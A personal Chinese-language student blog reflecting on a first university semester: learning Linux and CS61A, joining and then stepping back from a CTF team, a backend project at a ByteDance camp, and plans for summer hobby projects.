但是我还是认为我就是个半吊子水平. 我从来没有过Python的后端开发经验, 也没有使用过FastAPI写过什么代码. 仅有的后端经验是去年的字节Go后端青训营, 甚至连那个作品都是一个半成品. 一直使用框架写代码, 让我直到现在都并没有花费时间去深入熟悉一门语言.

框架封装了很多繁琐枯燥的事情, 但也封装了对于技术细节的思考.

虽然写了一学期的代码, 但到最后我并不了解什么数据结构, 不了解什么算法, 对多线程的使用和理解也十分生疏. 从来没有系统学习过如何去设计架构, 缺乏开源经验, 也不知道怎样才算是现代化的代码. 在设计整个软件架构时, 也经常怀疑自己是否引入了完全没有必要的设计模式, 增加了多余的没有必要的代码量, 最后直到实现到某一个单元时才发现过去的架构设计存在一点问题. 遇到的遗留问题太多了, 多到可以把它们单独放在一篇文章里.

总之, 我时常惶恐我在浮沙筑高楼的路上越走越远. 我想象中, 如果有真正有经验的开发者看到我的代码, 一定会指出不少问题.

此外, 我其实一直是想学习Web安全的, 但是现在看来似乎道走偏了…

如果暑假有闲心的话, 应该会花一点时间, 在博客上把自己之前在实践中学到的那些知识全都整理一下, 提炼一下, 放到博客里. 不过在那之前, 我大概得先加急给我博客添加一个评论功能, 否则我会很担心自己讲了些错误经验, 当作反面教材而没人能指出.

如果暑假没有闲心的话, 大概是因为自己想填一些坑. 基本上有四个:

一个好用的记账软件, 并把它写成一个开发笔记, 当作科协小登的后端编程实战教程之一. 会尝试用自己从来没用过的语言, 框架, 技术, 把自己在没有相关经验的情况下, 从零开始去设计并实现一个完整的项目的经历写下来.
一个可以把midi编曲文件编译打印成八音盒可用的打孔纸带的机器, 大概会接触单片机, arduino, CAD, 3d打印, 用什么步进电机丝杆滑台之类的.
LazyMCPanel
Minecraft 1.12.2 技术生存的坑(其实就是因为这个坑导致我想做一个LazyMCPanel). 想自己实现点很酷的异步线程科技

这些坑大概是暑假根本填不完的. 不过只要愿意填, 总会填上的.

在一切之前

Tue, 21 Jan 2025 22:18:12 +0800

已经度过了大学第一个学期。第一篇博客想讲讲网站建立之前的故事。

我自认为算是同龄人中相对较早接触计算机技术的人了。很早就对折腾计算机有某种特别的热爱。记得初中自己在破笔记本上折腾linux，在实体机上安装了自己第一个linux发行版Linux Mint。不久被Arch的包管理器吸引，又尝试装Arch，因为笔记本网卡驱动问题，Archiso连不上网，没有成功。于是先装上了Manjaro，又换核成Arch。

初中时，出于什么目的才去接触linux，我已经记不得了。也许是因为想让破笔记本多活几年，也可能只是觉得这样很酷很极客。

自己也尝试过自学编程，因为想试试写MC模组。但在江苏的中学，很难有时间让自己系统地学写代码，自己乱摸索到最后也只是能记住语法。但对于各种现实开发中要用到的工具，软件工程的思维，怎样的代码才是好的，一概不知。

高考结束。在南邮，南信工，南工程的电气工程之间选择了杭电。或许后面会想聊聊我的高考。

高三时，我的一位好友司沐和我说，我更适合上大学而不是高中。

学习这个词，在中学高压的环境下，在我周围人的眼中，似乎对应着无穷无尽的刷题，语数英物化生。学习，只是为了应试，只是为了更高的分数。一切与应试无关的，那不叫学习，那叫不务正业。但我其实一直很清楚，我是热爱学习的。在我的理解里，学习这个词，必须和“为了应试而做出的练习”这个概念分离开。

而我对大学学习的理解，是这四年中，我能有充分的机会，去学习自己所真正想要学习的知识，能真正落以实践的知识。

高考后的暑假，通过CS自学指南, 认识到CS61A这门课。这门课算是学完了一大半吧。刷完了视频，但还是有一些Homework和一个Project没做。但这算是我第一次系统的去学习计算机知识。同时因为在杭电贴吧群被人注意到准大一就已经在用Arch被拉到计科协。通过科协的朋友们接触到了不少的学习和实践的机会。关于科协，以后再聊吧。

早就对黑客技术感兴趣(菜鸡也有当大黑客的梦)，又去玩了玩Vidar-Team的Hgame-mini，后来过了Web提前批面试进了预备役。

然而在这之后，我在CTF这方面就有点摆了。这样一道道题目的形式也许可能引起PTSD了。我害怕再落入为了比赛而刷CTF题，刷了题又只是为了比赛拿分的循环，像高考刷题一样的循环。

做那些hgame-mini题目的时候，我就已经有一种迷茫感。我刚上手编程没多久，我甚至看到稍微长一点的代码都会有点怕，我连一个网站的后端的开发流程，项目结构都不理解，从未自己上手写过什么项目。要做出那些级别的CTF题目，我只需要看懂一点点的代码就够了。但是现实中呢？我想，实际开发的过程中，这种给新生的题目中的漏洞，可能很轻松就可以避免。我会好奇，真正的渗透测试是什么样的，这些基本的东西会怎样出现在实际环境，会用到什么自动化工具，那些前辈们又是怎么从看起来很庞大的某个网站或是什么软件中，在我这样一个小白眼里，大海捞针一样找到漏洞的。

对于一个以比赛为主要活动的社团，可能这样是维持社团活跃的最好方案了，也就是老带新的去打比赛写题解。毕竟新生们冲着黑客技术，冲着CTF来的，总不能说，让Web新生先去学习个一个月后端开发之类的。那不现实。这对于一个社团而言可能是没法避免的。

我并不是对于黑客技术失去了兴趣，也不是说通过CTF这样比赛的形式学习就是不对。只是对我自己而言，我有一点自己的节奏。也许我可能会想学习一年开发，大二时再重拾CTF。

后面接触了字节青训营，尝试用hertz框架去合作写一个电商项目的后端，这里必须特别感谢爱飞的鸟。我第一次体验到实际去从零开始构建一个项目的流程，第一次不再为复杂的项目结构和动辄几百上千行的代码感到害怕，第一次接触到比较先进的后端开发技术。虽然没能真的在一个月的时间内真的完成这个项目，但是实实在在的学到了不少。

紧接着就是期末。期末之后我建立了这个博客。